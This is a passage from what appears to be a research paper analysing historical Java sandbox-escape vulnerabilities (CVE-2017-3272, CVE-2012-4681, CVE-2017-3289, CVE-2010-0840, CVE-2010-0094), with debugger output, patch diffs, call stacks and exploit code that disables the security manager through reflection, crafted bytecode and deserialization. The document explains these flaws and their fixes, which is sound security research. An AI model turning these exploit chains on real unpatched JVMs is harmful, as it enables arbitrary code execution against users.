0x1ffffff10:    0x00000000      0x00000000      0x00000000      0x00000000
0x1ffffff20:    0x00000000      0x00000000      0x00000000      0x00000000
0x1ffffff30:    0x00000000      0x00000000
--------------------------------------------------------------------------
```

With gdb we notice that elements of the dst array have been initialized to 0xAAAAAAAA as expected. The array doest not start by 0xAAAAAAAA directly but has a 16 byte header which contains among other the size of the array (0x4811610b = 1209098507). For now, there is nothing (only null bytes) 240 bytes before the array. Let's execute the get Java method and check again the memory state with gdb:

```
--------------------------------------------------------------------------
(gdb) c
Continuing.
^C
Thread 1 "java" received signal SIGINT, Interrupt.
0x00007fb208ac86cd in pthread_join (threadid=140402604672768,
  thread_return=0x7ffec40d4860) at pthread_join.c:90
90      in pthread_join.c
(gdb) x/10x 0x200000000-240
0x1ffffff10:    0x00000000      0x00000000      0x00000000      0x00000000
0x1ffffff20:    0xbbbbbbbb      0xbbbbbbbb      0x00000000      0x00000000
0x1ffffff30:    0x00000000      0x00000000
--------------------------------------------------------------------------
```

The copy of two elements from ib's internal array to dst "worked": they have been copied 240 bytes before the first element of dst. For some reason the program did not crash. Looking at the memory map of the process indicates that there's a memory zone just before 0x20000000 which is rwx:

```
--------------------------------------------------------------------------
$ pmap 1234
[...]
00000001fc2c0000  62720K rwx--   [ anon ]
```

```
0000000200000000 5062656K rwx--   [ anon ]
0000000335000000 11714560K rwx--   [ anon ]
[...]
--------------------------------------------------------------------------
```

As explained below, in Java, a type confusion is synonym of total bypass of the sandbox. The idea for vulnerability CVE-2017-3272 is to use the read and write primitives to perform the type confusion. We aim at having the following structure in memory:

```
--------------------------------------------------------------------------
  B[] |0|1|.....|k|......|l|
  A[] |0|1|2|....|i|.............|m|
int[] |0|.................|j|....|n|
--------------------------------------------------------------------------
```

An array of elements of type _B_ just before an array of elements of type _A_ just before the internal array of an _IntBuffer_ object. The first step consists in using the read primitive to copy the address of elements of type _A_ (at index i) inside the internal integer array (at index j). The second steps consists in copying the reference from the internal array (at index j) to an element of type _B_ (at index k). Once the two steps are done, the JVM will think element at index k is of type _B_, but it is actually an element of type _A_.

The code handling the heap is complex and can change from VM to VM (Hotspot, JRockit, etc.) but also from version to version. We have obtained a stable situation where all the three arrays are next to each other for 50 different versions of the JVM with the following array sizes:

```
--------------------------------------------------------------------------
l = 429496729
m = l
n = 858993458
--------------------------------------------------------------------------
```

------[3.2.3 - Discussion

We have tested the exploit on all publicly available versions of Java 1.6, 1.7 and 1.8. All in all 51 versions are vulnerable: 18 versions of 1.6 (1.6_23 to 1.6_45), 28 versions of 1.7 (1.7_0 to 1.7_80) and 5 versions of 1.8 (1.8_05 to 1.8_60).

We have already discussed the patch above: the patched code now first casts 32 bit integers to long before doing the shift operation. This efficiently prevents integer overflows.

--[4 - Java Level Vulnerabilities

----[4.1 - Confused Deputy

------[4.1.1 - Background

Confused deputy attacks are a very common type of attack on the Java platform. Example attacks are the exploits for CVE-2012-5088,

CVE-2012-5076, CVE-2013-2460, and also CVE-2012-4681 which we present in detail below. The basic idea is that exploit code aims for access to private methods or fields of system classes in order to, e.g., deactivate the security manager. Instead of accessing the desired class member directly, however, the exploit code will perform the access on behalf of a trusted system class. Typical ways to abuse a system class for that purpose is by exploiting insecure use of reflection or MethodHandles, i.e., a trusted system class performs reflective read access to a target field which can be determined by the analyst.

------[4.1.2 - Example: CVE-2012-4681

We will have a look at CVE-2012-4681, because this is often referred to by other authors as an example of a confused deputy attack.

As a first step, we retrieve access to _sun.awt.SunToolkit_, a restricted class which should be inaccessible to untrusted code.

```
---------------------------------------------------------------------------
  1: Expression expr0 = new Expression(Class.class, "forName",
  2:    new Object[] {"sun.awt.SunToolkit"});
  3: Class sunToolkit = (Class)expr.execute().getValue();
---------------------------------------------------------------------------
```

This already exploits a vulnerability. Even though we specify Class.forName() as the target method of the Expression, this method is actually not called. Instead, _Expression_ implements custom logic specifically for this case, which loads classes without properly checking access permissions. Thus, _Expression_ serves as our confused deputy here that loads a class for us that we would otherwise not be allowed to load.

As a next step, we use SunToolkit.getField() to get access to the private field Statement.acc.

```
---------------------------------------------------------------------------
  1: Expression expr1 = new Expression(sunToolkit, "getField",
  2:    new Object[] {Statement.class, "acc"});
  3: Field acc = expr1.execute().getValue();
---------------------------------------------------------------------------
```

getField() is another confused deputy, on whose behalf we get reflective access to a private field of a system class. The following snippet shows that getField() uses doPrivileged() to get the requested field, and also set it accessible, so that its value can be modified later.

```
---------------------------| SunToolkit.java |----------------------------
  1: public static Field getField(final Class klass,
  2:    final String fieldName) {
  3:  return AccessController.doPrivileged(
  4:    new PrivilgedAction<Field>() {
  5:            public Field run() {
  6:            ...
  7:                    Field field = klass.getDeclaredField(fieldName);
  8:                    ...
  9:                    field.setAccessible(true);
```

```
 10:                    return field;
 11:            ...
-------------------------------------------------------------------------
```

Next, we create an _AccessControlContext_ which is assigned all permissions.

```
-------------------------------------------------------------------------
  1: Permissions permissions = new Permissions();
  2: permissions.add(new AllPermission());
  3: ProtectionDomain pd = new ProtectionDomain(new CodeSource(
  4:    new URL("file:///"), new Certificate[0]), permissions);
  5: AccessControlContext newAcc =
  6:    AccessControlContext(new ProtectionDomain[] {pd});
-------------------------------------------------------------------------
```

Statement objects can represent arbitrary method calls. When an instance of _Statement_ is created, it stores the current security context in Statement.acc. When calling Statement.execute(), it will execute the call it represents within the security context that has originally been stored in Statement.acc to ensure that it calls the method with the same privileges as if it were called directly.

We next create a _Statement_ that represents the call System.setSecurityManager(null) and overwrite its _AccessControlContext_ stored in Statement.acc with our new _AccessControlContext_ that has all permissions.

```
-------------------------------------------------------------------------
  1: Statement stmt = new Statement(System.class, "setSecurityManager",
  2:    new Object[1]);
  3: acc.set(stmt, newAcc)
-------------------------------------------------------------------------
```

Finally, we call stmt.execute() to actually perform the call to setSecurityManager(). This call will succeed, because we have replaced the security context in stmt.acc with a security context that has been assigned all privileges.

```
------[ 4.1.3 - Discussion
```

The problem of confused deputy attacks naturally arises from the very core concepts of Java platform security. One crucial mechanism of the sandbox is stack-based access control, which inspects the call stack whenever sensitive operations are attempted, thus detecting direct access from untrusted code to sensitive class members, for example. In many cases, however, this stack inspection terminates before all callers on the current stack have been checked for appropriate permissions. There are two common cases when this happens. In the first case, one of the callers on the stack calls doPrivileged() to explicitly state that the desired action is deemed secure, even if called from unprivileged code. While doPrivileged() generally is a sensible mechanism, it can also be used incorrectly in situations where not all precautions have been taken to actually ensure that a specific operation is secure. In the second case, a method in a system class will manually check properties of the immediate caller only,

and skip the JVM's access control mechanism that would inspect also the other callers on the stack. In both these cases can analysts profit from incomplete stack walks by performing certain sensitive actions simply on behalf of system classes.

----[4.2 - Uninitialized Instance

------[4.2.1 - Background

A crucial step in Java object initialization is calling the constructor of the respective type. Constructors contain necessary code for variable initialization, but may also contain security checks. It is therefore important for the security and stability of the platform to enforce that constructors are actually called before object initialization completes and methods of the type are invoked by other code.

Enforcing constructor calls is in the responsibility of the bytecode verifier, which checks all classes during loading to ensure their validity. This also includes, for instance, checking that jumps land on valid instructions and not in the middle of an instruction, and checking that the control flow ends with a return instruction. Furthermore, it also checks that instructions operate on valid types, which is required to prevent type confusion attacks, which we presented in Section 3.1.1.

Historically, to check type validity, the JVM relied on a data flow analysis to compute a fix point. This analysis may require to perform multiple pass over the same paths. As this is time consuming, and may slower the class loading process, a new approach has been developed to perform the type checking in linear time where each path is only checked once. To achieve that, meta-information called stack map frames have been added along the bytecode. In brief, stack map frames describe the possible types at each branch targets. Stack map frames are stored in a structure called the stack map table [25].

There is an uninitialized instance vulnerability when the analyst is able to create an instance on which the call to <init>(*), the constructor of the object or the constructor of the super class, is not executed. This vulnerability directly violates the specification of the virtual machine [21]. The consequences on the security of the JVM is that with an uninitialized instance vulnerability an analyst can instantiate objects he should not be able to and have access to properties and methods he should not have access to. This could potentially lead to a sandbox escape.

------[4.2.2 - Example: CVE-2017-3289

The description of the CVE indicates that "Successful attacks of this vulnerability can result in takeover of Java SE, Java SE Embedded." [22]. As for CVE-2017-3272, this means it might be possible to exploit the vulnerability to escape the Java sandbox.

Redhat's bugzilla indicates that "An insecure class construction flaw, related to the incorrect handling of exception stack frames, was found in the Hotspot component of OpenJDK. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions." [23]. This informs the analyst that (1) the vulnerability lies in C/C++ code (Hotspot

is the name of the Java VM) and that (2) the vulnerability is related to an illegal class construction and to exception stack frames. Information (2) indicates that the vulnerability is probably in the C/C++ code checking the validity of the bytecode. The page also links to the OpenJDK's patch for this vulnerability.

The OpenJDK's patch "8167104: Additional class construction refinements" fixing the vulnerability is available online [24]. Five C++ files are patched: "classfile/verifier.cpp", the class responsible for verifying the structure and the validity of a class file, "classfile/stackMapTable.{cpp, hpp}", the files handling the stack map table, and "classfile/stackMapFrame.{cpp, hpp}", the files representing the stack map frames.

By looking at the diff, one notices that function StackMapFrame::has_flag_match_exception() has been removed and a condition, which we will refer to as C1, has been updated by removing the call to has_flag_match_exception(). Also, methods match_stackmap() and is_assignable_to() have now one less parameter: "bool handler" has been removed. This parameter "handler" is set to "true" if the verifier is currently checking an exception handler. Condition C1 is illustrated in the following listing:

```
-------------------------------------------------------------------------
     ....
     -  bool match_flags = (_flags | target->flags()) == target->flags();
     -  if (match_flags || is_exception_handler &&
              has_flag_match_exception(target)) {
     +  if ((_flags | target->flags()) == target->flags()) {
          return true;
        }
     ....
-------------------------------------------------------------------------
```

This condition is within function is_assignable_to() which checks if the current stack map frame is assignable to the target stack map frame, passed as a parameter to the function. Before the patch, the condition to return "true" was "match_flags || is_exception_handler && has_flag_match_exception(target)". In English, this means that flags for the current stack map frame and the target stack map frame are the same or that the current instruction is in an exception handler and that function "has_flag_match_exception" returns "true". Note that there is only one kind of flag called "UNINITIALIZED_THIS" (aka FLAG_THIS_UNINIT). If this flag is true, it indicates that the object referenced by "this" is uninitialized, i.e., its constructor has not yet been called.

After the patch, the condition becomes "match_flags". This means that, in the vulnerable version, there is probably a way to construct bytecode for which "match_flags" is false (i.e., "this" has the uninitialized flag in the current frame but not in the target frame), but for which "is_exception_handler" is "true" (the current instruction is in an exception handler) and for which "has_flag_match_exception(target)" returns "true". But when does this function return "true"?

Function has_flag_match_exception() is represented in the following

listing.

```
-------------------------------------------------------------------------
 1: ....
 2: bool StackMapFrame::has_flag_match_exception(
 3:     const StackMapFrame* target) const {
 4:
 5:   assert(max_locals() == target->max_locals() &&
 6:          stack_size() == target->stack_size(),
 7:                "StackMap sizes must match");
 8:
 9:   VerificationType top = VerificationType::top_type();
10:   VerificationType this_type = verifier()->current_type();
11:
12:   if (!flag_this_uninit() || target->flags() != 0) {
13:     return false;
14:   }
15:
16:   for (int i = 0; i < target->locals_size(); ++i) {
17:     if (locals()[i] == this_type && target->locals()[i] != top) {
18:       return false;
19:     }
20:   }
21:
22:   for (int i = 0; i < target->stack_size(); ++i) {
23:     if (stack()[i] == this_type && target->stack()[i] != top) {
24:       return false;
25:     }
26:   }
27:
28:   return true;
29: }
30: ....
-------------------------------------------------------------------------
```

In order for this function to return "true" all the following conditions must pass: (1) the maximum number of local variables and the maximum size of the stack must be the same for the current frame and the target frame (lines 5-7); (2) the current frame must have the "UNINIT" flag set to "true" (line 12-14); and (3) uninitialized objects are not used in the target frame (lines 16-26).

The following listing illustrates bytecode that satisfies the three conditions:

```
-------------------------------------------------------------------------
  <init>()
  0: new           // class java/lang/Throwable
  1: dup
  2: invokespecial // Method java/lang/Throwable."<init>":()V
  3: athrow
  4: new           // class java/lang/RuntimeException
  5: dup
  6: invokespecial // Method java/lang/RuntimeException."<init>":()V
  7: athrow
```

```
  8: return
  Exception table:
   from    to  target type
      0    4    8   Class java/lang/Throwable
      StackMapTable: number_of_entries = 2
        frame at instruction 3
          local = [UNINITIALIZED_THIS]
          stack = [ class java/lang/Throwable ]
        frame at instruction 8
          locals = [TOP]
          stack = [ class java/lang/Throwable ]
```

The maximum number of locals and the maximum stack size can be set to 2 to satisfy the first condition. The current frame has "UNINITIALIZED_THIS" set to true at line 3 to satisfy the second condition. Finally, to satisfy the third condition, uninitialized locals are not used in the target of the "athrow" instruction (line 8) since the first element of the local is initialized to "TOP".

Note that the code is within a try/catch block to have "is_exception_handler" set to "true" in function is_assignable_to(). Moreover, notice that the bytecode is within a constructor (<init>() in bytecode). This is mandatory in order to have flag "UNINITIALIZED_THIS" set to true.

We now know that the analyst is able to craft bytecode that returns an uninitialized object of itself. At a first glance, it may be hard to see how such an object could be used by the analyst. However, a closer look reveals that such a manipulated class could be implemented as a subclass of a system class, which can be initialized without calling super.<init>(), the constructor of the super class. This can be used to instantiate public system classes that can otherwise not be instantiated by untrusted code, because their constructors are private, or contain permission checks. The next step is to find such classes which offer "interesting" functionalities to the analyst. The aim is to combine all the functionalities to be able to execute arbitrary code in a sandbox environment, hence bypassing the sandbox. Finding useful classes is, however, a complicated task by itself. Specifically, we are facing the following challenges.

Challenge 1: Where to look for helper code

The JRE ships with numerous jar files containing JCL (Java Class Library) classes. These classes are loaded as _trusted_ classes and may be leveraged when constructing an exploit. Unfortunately for the analyst, but fortunately for Java users, more and more of the classes are tagged as "restricted" meaning that _untrusted_ code cannot directly instantiate them. The number of restricted packages went from one in 1.6.0_01 to 47 in 1.8.0_121. This means that the percentage of code that the analyst cannot directly use when building an exploit went from 20% in 1.6.0_01 to 54% in 1.8.0_121.

Challenge 2: Fields may not be initialized

Without the proper permission it is normally not possible to instantiate a

new class loader. The permission of the _ClassLoader_ class being checked in the constructor it seems, at first sight, to be an interesting target. With the vulnerability of CVE-2017-3289 it is indeed possible to instantiate a new class loader without the permission since the constructor code -- and thus the permission check -- will not be executed. However, since the constructor is bypassed, fields are initialized with default values (e.g, zero for integers, null for references). This is problematic since the interesting methods which normally allows to define a new class with all privileges will fail because the code will try to dereference a field which has not been properly initialized. After manual inspection it seems difficult to bypass the field dereference since all paths are going through the instruction dereferencing the non-initialized field. Leveraging the _ClassLoader_ seems to be a dead end. Non-initialized fields is a major challenge when using the vulnerability of CVE-2017-3289: in addition to the requirements for a target class to be public, non-final and non-restricted, its methods of interest should also not execute a method dereferencing uninitialized fields.

We have not yet found useful helper code for Java version 1.8.0 update 112. To illustrate how the vulnerability of CVE-2017-3289 works we will show alternative helper code for exploits leveraging 0422 and 0431. Both exploits rely on _MBeanInstantiator_, a class that defines method findClass() which can load arbitrary classes. Class _MBeanInstantiator_ has only private constructors, so direct instantiation is not possible. Originally, these exploits use _JmxMBeanServer_ to create an instance of _MBeanInstantiator_. We will show that an analyst can directly subclass _MBeanInstantiator_ and use vulnerability 3289 to get an instance of it.

The original helper code to instantiate _MBeanInstantiator_ relies on _JmxMBeanServer_ as shown below:

```
------------------------------------------------------------------------
  1: JmxMBeanServerBuilder serverBuilder = new JmxMBeanServerBuilder();
  2: JmxMBeanServer server =
  3:      (JmxMBeanServer) serverBuilder.newMBeanServer("", null, null);
  4: MBeanInstantiator instantiator = server.getMBeanInstantiator();
------------------------------------------------------------------------
```

The alternative code to instantiate _MBeanInstantiator_ leverages the vulnerability of CVE-2017-3289:

```
------------------------------------------------------------------------
  1: public class PoCMBeanInstantiator extends java.lang.Object {
  2:   public PoCMBeanInstantiator(ModifiableClassLoaderRepository clr) {
  3:     throw new RuntimeException();
  4:   }
  5:
  6:   public static Object get() {
  7:     return new PoCMBeanInstantiator(null);
  8:   }
  9: }
------------------------------------------------------------------------
```

Note that since _MBeanInstantiator_ does not have any public constructor, _PoCMBeanInstantiator_ has to extend a dummy class, in our example

java.lang.Object, in the source code. We use the ASM [28] bytecode manipulation library, to change the super class of _PoCMBeanInstantiator_ to _MBeanInstantiator_. We also use ASM to change the bytecode of the constructor to bypass the call to super.<init>(*).

Since Java 1.7.0 update 13, Oracle has added _com.sun.jmx._ as a restricted package. Class _MBeanInstantiator_ being in this package, it is thus not possible to reuse this helper code in later versions of Java.

To our surprise, this vulnerability affects more than 40 different public releases. All Java 7 releases from update 0 to update 80 are affected. All Java 8 releases from update 5 to update 112 are also affected. Java 6 is not affected.

By looking at the difference between the source code of the bytecode verifier of Java 6 update 43 and Java 7 update 0, we notice that the main part of the diff corresponds to the inverse of the patch presented above. This means that the condition under which a stack frame is assignable to a target stack frame within an exception handler in a constructor has been weakened. Comments in the diff indicate that this new code has been added via request 7020118 [26]. This request asked to update the code of the bytecode verifier in such a way that NetBeans' profiler can generate handlers to cover the entire code of a constructor.

The vulnerability has been fixed by tightening the constraint under which the current stack frame -- in a constructor within a try/catch block -- can be assigned to the target stack frame. This effectively prevents bytecode from returning an uninitialized ``this'' object from the constructor.

As far as we know, there are at least three publicly known _uninitialized instance_ vulnerabilities for Java. One is CVE-2017-3289 described in this paper. The second has been discovered in 2002 [29]. The authors also exploited a vulnerability in the bytecode verifier which enables to not call the constructor of the super class. They have not been able to develop an exploit to completely escape the sandbox. They were able, however, to access the network and read and write files to the disk. The third has been found by a research group at Princeton in 1996 [30]. Again, the problem is within the bytecode verifier. It allows for a constructor to catch exceptions thrown by a call to super() and return a partially initialized object. Note that at the time of this attack the class loader class did not have any instance variable. Thus, leveraging the vulnerability to instantiate a class loader gave a fully initialized class loader on which any method could be called.

------[4.2.3 - Discussion

The root cause of this vulnerability is a modification of the C/C++ bytecode validation code which enables an analyst to craft Java bytecode which is able not to bypass the call to super() in a constructor of a subclass. This vulnerability directly violates the specification of the virtual machine [21].

However, this vulnerability is useless without appropriate _helper_ code. Oracle has developed static analysis tools to find dangerous gadgets and blacklist them [31]. This makes it harder for an analyst to develop an

exploit bypassing the sandbox. Indeed, we have only found interesting gadgets that work with older versions of the JVM. Since they have been blacklisted in the latest versions, the attack does not work anymore. However, even though the approach relies on static analysis, it (1) may generate many false positives which makes it harder to identify real dangerous gadgets and (2) might have false negatives because it does not faithfuly model all specificities of the language, typically reflection and JNI, and thus is not sound.

----[4.3 - Trusted Method Chain

------[4.3.1 - Background

Whenever a security check is performed in Java, the whole call stack is checked. Each frame of the call stack contains a method name identified by its class and method signature. The idea of a trusted method chain attack is to only have trusted classes on the call stack. To achieve this, an analyst typically relies on reflection features present in trusted classes to call target methods. That way, no application class (untrusted) will be on the call stack when the security check is done and the target methods will execute in a privileged context (typically to disable the security manager). In order for this approach to work the chain of methods has to be on a privileged thread such as the event thread. It will not work on the main thread because the class with the main method is considered untrusted and the security check will thus throw an exception.

------[4.3.2 - Example: CVE-2010-0840

This vulnerability is the first example of a trusted method chain attack against the Java platform [32]. It relies on the _java.beans.Statement_ class to execute target methods via reflection. The exploit injects a _JList_ GUI element ("A component that displays a list of objects and allows the user to select one or more items." [33]) to force the GUI thread to draw the new element. The exploit code is as follows:

```
     // target method
     Object target = System.class;
     String methodName = "setSecurityManager";
     Object[] args = new Object[] { null };

     Link l = new Link(target, methodName, args);

     final HashSet s = new HashSet();
     s.add(l);

     Map h = new HashMap() {
        public Set entrySet() {
                return s;
        }; };

     sList = new JList(new Object[] { h });
```

The target method is represented as a _Statement_ through the _Link_

object. The _Link_ class is not a class from the JCL but a class constructed by the analyst. The _Link_ class is a subclass of _Expression_ which is a subclass of _Statement_. The _Link_ object also implements, although in a fake way, the getValue() method of the _java.util.Map.Entry_ interface. It is not a real implementation of the _Entry_ interface because only the getValue() method is present. This "implementation" cannot be done with a normal javac compiler and has to be done by directly modifying the bytecode of the _Link_ class.

```
-------------------------------------------------------------------------
     interface Entry<K,V> {
        [...]
        /**
        * Returns the value corresponding to this entry.  If the mapping
        * has been removed from the backing map (by the iterator's
        * <tt>remove</tt> operation), the results of this call are
        * undefined.
        *
        * @return the value corresponding to this entry
        * @throws IllegalStateException implementations may, but are not
        *         required to, throw this exception if the entry has been
        *         removed from the backing map.
        */
        V getValue();
        [...]
-------------------------------------------------------------------------
```

This interface has the getValue() method. It turns out that the _Expression_ class also has a getValue() method with the same signature. That is why at runtime calling Entry.getValue() on an object of type _Link_, faking the implementation of _Entry_, can succeed.

```
-------------------------------------------------------------------------
     // in AbstractMap
     public String toString() {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        if (! i.hasNext())
                return "{}";

        StringBuilder sb = new StringBuilder();
        sb.append('{');
        for (;;) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                sb.append(key   == this ? "(this Map)" : key);
                sb.append('=');
                sb.append(value == this ? "(this Map)" : value);
                if (! i.hasNext())
                        return sb.append('}').toString();
                sb.append(',').append(' ');
        }
     }
-------------------------------------------------------------------------
```

The analyst aims at calling the AbstractMap.toString() method to call Entry.getValue() on the _Link_ object which calls the invoke() method:

```
-------------------------------------------------------------------------
     public Object getValue() throws Exception {
        if (value == unbound) {
                setValue(invoke());
        }
        return value;
     }
-------------------------------------------------------------------------
```

The invoke method executes the analyst's target method System.setSecurityManapger(null) via reflection to disable the security manager. The call stack when this method is invoked through reflection looks like this:

```
-------------------------------------------------------------------------
     at java.beans.Statement.invoke(Statement.java:235)
     at java.beans.Expression.getValue(Expression.java:98)
     at java.util.AbstractMap.toString(AbstractMap.java:487)
     at javax.swing.DefaultListCellRenderer.getListCellRendererComponent
        (DefaultListCellRenderer.java:125)
     at javax.swing.plaf.basic.BasicListUI.updateLayoutState
        (BasicListUI.java:1337)
     at javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState
        (BasicListUI.java:1287)
     at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251)
     at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227)
     at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143)
     at javax.swing.JComponent.paintComponent(JComponent.java:758)
     at javax.swing.JComponent.paint(JComponent.java:1022)
     at javax.swing.JComponent.paintChildren(JComponent.java:859)
     at javax.swing.JComponent.paint(JComponent.java:1031)
     at javax.swing.JComponent.paintChildren(JComponent.java:859)
     at javax.swing.JComponent.paint(JComponent.java:1031)
     at javax.swing.JLayeredPane.paint(JLayeredPane.java:564)
     at javax.swing.JComponent.paintChildren(JComponent.java:859)
     at javax.swing.JComponent.paint(JComponent.java:1031)
     at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104)
     at javax.swing.BufferStrategyPaintManager.paint
        (BufferStrategyPaintManager.java:285)
     at javax.swing.RepaintManager.paint(RepaintManager.java:1128)
     at javax.swing.JComponent._paintImmediately(JComponent.java:5052)
     at javax.swing.JComponent.paintImmediately(JComponent.java:4862)
     at javax.swing.RepaintManager.paintDirtyRegions
        (RepaintManager.java:723)
     at javax.swing.RepaintManager.paintDirtyRegions
        (RepaintManager.java:679)
     at javax.swing.RepaintManager.seqPaintDirtyRegions
        (RepaintManager.java:659)
     at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run
        (SystemEventQueueUtilities.java:128)
     at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)
     at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)
```

```
     at java.awt.EventDispatchThread.pumpOneEventForFilters
        (EventDispatchThread.java:273)
     at java.awt.EventDispatchThread.pumpEventsForFilter
        (EventDispatchThread.java:183)
     at java.awt.EventDispatchThread.pumpEventsForHierarchy
        (EventDispatchThread.java:173)
     at java.awt.EventDispatchThread.pumpEvents
        (EventDispatchThread.java:168)
     at java.awt.EventDispatchThread.pumpEvents
        (EventDispatchThread.java:160)
     at java.awt.EventDispatchThread.run(EventDispatchThread.java:121)
-------------------------------------------------------------------------
```

The first observation is that there are no untrusted class on the call stack. Any security check performed on the elements of the call stack will pass.

As seen on the call stack above, the paint operation (RepaintManager.java:1128) ends up calling the getListCellRendererComponent() method (DefaultListCellRenderer.java:125). The _JList_ constructor takes as a parameter a list of the item elements. This method in turn calls the toString() method on the items. The first element being a _Map_ calls getValue() on all its items. The method getValue() calls Statement.invoke() which calls the analyst's target method via reflection.

------[4.3.3 - Discussion

This vulnerability has been patched by modifying the Statement.invoke() method to perform the reflective call in the _AccessControlContext_ of the code which created the _Statement_. This exploit does not work on recent version of the JRE because the untrusted code which creates the _Statement_ does not have any permission.

----[4.4 - Serialization

------[4.4.1 - Background

Java allows for transforming objects at runtime to byte streams, which is useful for persistence and network communications. Converting an object into a sequence of bytes is called serialiation, and the reverse process of converting a byte stream to an object is called deserialization, accordingly. It may happen that part of the deserialization process in done in a privileged context. An analyst can leverage this by instantiating objects that he would normally not be allowed to instantiate due to lacking permissions. A typical example is the class _java.lang.ClassLoader_. An analyst (always in the context of having no permission) cannot directly instantiate a subclass _S_ of _ClassLoader_ because the constructor of _ClassLoader_ checks whether the caller has permission CREATE_CLASSLOADER. However, if he finds a way to deserialize a serialized version of _S_ in a privileged context, he may end up having an instance of _S_. Note that the serialized version of _S_ can be created by the analyst outside the scope of an attack (e.g., on his own machine with a JVM with no sandbox). During the attack, the serialized version is just data representing an instance of _S_. In this section we show how to exploit CVE-2010-0094 to make use of

system code that deserializes data provided by the analyst in a privileged context. This can be used to execute arbitrary code and thus bypass all sandbox restrictions.

------[4.4.2 - Example: CVE-2010-0094

The vulnerability CVE-2010-0094 [35] lies in method RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject). The fourth argument of type _MarshalledObject_ contains a byte representation of an object _S_ which is deserialized in a privileged context (within a call to doPrivileged() with all permissions). The analyst can pass an arbitrary object to createMBean() for deserialization. In our case, he passes a subclass of _java.lang.ClassLoader_:

```
-------------------------------------------------------------------------
     public class S extends ClassLoader implements Serializable {
     }
-------------------------------------------------------------------------
```

In a vulnerable version of the JVM (1.6.0_17 for instance), the call stack when object _S_ is instantiated is the following:

```
-------------------------------------------------------------------------
  1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader))
  2:    S(ClassLoader).<init>() line: 226 [local variables
                unavailable]
  4:    GeneratedSerializationConstructorAccessor1.newInstance(Object[])
                line: not available
  6:    Constructor<T>.newInstance(Object...) line: 513
  7:    ObjectStreamClass.newInstance() line: 924
  8:    MarshalledObject$MarshalledObjectInputStream
                (ObjectInputStream).readOrdinaryObject(boolean) line: 1737
 10:    MarshalledObject$MarshalledObjectInputStream
                (ObjectInputStream).readObject0(boolean) line: 1329
 12:    MarshalledObject$MarshalledObjectInputStream
                (ObjectInputStream).readObject() line: 351
 14:    MarshalledObject<T>.get() line: 142
 15:    RMIConnectionImpl$6.run() line: 1513
 16:    AccessController.doPrivileged(PrivilegedExceptionAction<T>)
                line: not available [native method]
 18:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
                Class<T>) line: 1505
 20:    RMIConnectionImpl.access$500(MarshalledObject, ClassLoader,
                Class) line: 72
 22:    RMIConnectionImpl$7.run() line: 1548
 23:    AccessController.doPrivileged(PrivilegedExceptionAction<T>)
                line: not available [native method]
 25:    RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader,
                ClassLoader, Class<T>) line: 1544
 27:    RMIConnectionImpl.createMBean(String, ObjectName, ObjectName,
                MarshalledObject, String[], Subject) line: 376
 29:    Exploit.exploit() line: 79
 30:    Exploit(BypassExploit).run_exploit() line: 24
 31:    ExploitBase.run(ExploitBase) line: 20
```

```
 32:    Exploit.main(String[]) line: 19
-------------------------------------------------------------------------
```

We observe that the deserialization happens within a privileged context (within a doPrivileged() at line 16 and line 23). Notice that it is the constructor of the _ClassLoader_ class (<init>(), trusted code) which is on the stack and not the constructor of _S_ (the analyst class, untrusted code). Note that at line 2 "S(ClassLoader)" means that _ClassLoader_ is on the stack, not _S_. If _S_ would have been on the stack, the permission check in the _ClassLoader_ constructor would have thrown a security exception since untrusted code (thus without the permission) is on the stack. Why then is _S_ not on the call stack? The answer is given by the documentation of the serialization protocol [34]. It says that the constructor which is called is the first constructor of the class hierarchy not implementing the _Serializable_ interface. In our example _S_ implements _Serializable_ so its constructor is not called. _S_ extends _ClassLoader_ which does not implement _Serializable_. Thus, the empty constructor of _ClassLoader_ is called by the deserialization system code. As a consequence, the stack trace only contains trusted system classes on the stack within the privileged context (there can be untrusted code after doPrivileged() since a permission check will stop at the doPrivileged() method when checking the call stack). The permission check in the _ClassLoader_ will succeed.

However, later in the system code, this instance of _S_ is cast to a type which is nor _S_, neither _ClassLoader_. So, how can the analyst retrieve this instance? One solution is to add a static field to _S_ as well as a method to the _S_ class to save the reference of the instance of _S_ in the static field:

```
-------------------------------------------------------------------------
     public class S extends ClassLoader implements Serializable {
        public static S myCL = null;
        private void readObject(java.io.ObjectInputStream in)
          throws Throwable {
                S.myCL = this;
        }
     }
-------------------------------------------------------------------------
```

The readObject() method is a special method called during deserialization (by readOrdinaryObject() at line 8 in the above call stack). No permission check is done at this point, so untrusted code (S.readObject() method) can be on the call stack.

The analyst now has access to an instance of _S_. Since _S_ is a subclass of _ClassLoader_, the analyst can define a new class with all privileges and disable the security manager (similar approach as in Section 3.1.1). At this point, the sandbox is disabled and the analyst can execute arbitrary code.

This vulnerability affects 14 versions of Java 1.6 (from version 1.6.0_01 to 1.6.0_18). It has been corrected in version 1.6.0_24.

The combination of the following "features" enables the analyst to bypass

the sandbox: (1) trusted code allows deserialization of data controlled by untrusted code, (2) deserialization is taking place in a privileged context, and (3) creating an object by means of deserialization follows a different procedure than regular object instantiation.

The vulnerability CVE-2010-0094 has been fixed in Java 1.6.0 update 24. The two calls to doPrivileged() have been removed from the code. In the patched version, when _ClassLoader_ is initialized, the permission check fails since the whole call stack is now checked (see the new call stack below). Untrusted code at lines 21 and below does not have permission CREATE_CLASSLOADER.

```
-------------------------------------------------------------------------
  1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader))
  2:    MyClassLoader(ClassLoader).<init>() line: 226 [local variables
                unavailable]
  4:    GeneratedSerializationConstructorAccessor1.newInstance(Object[])
                line: not available
  6:    Constructor<T>.newInstance(Object...) line: 513
  7:    ObjectStreamClass.newInstance() line: 924
  8:    MarshalledObject$MarshalledObjectInputStream
                (ObjectInputStream).readOrdinaryObject(boolean) line: 1736
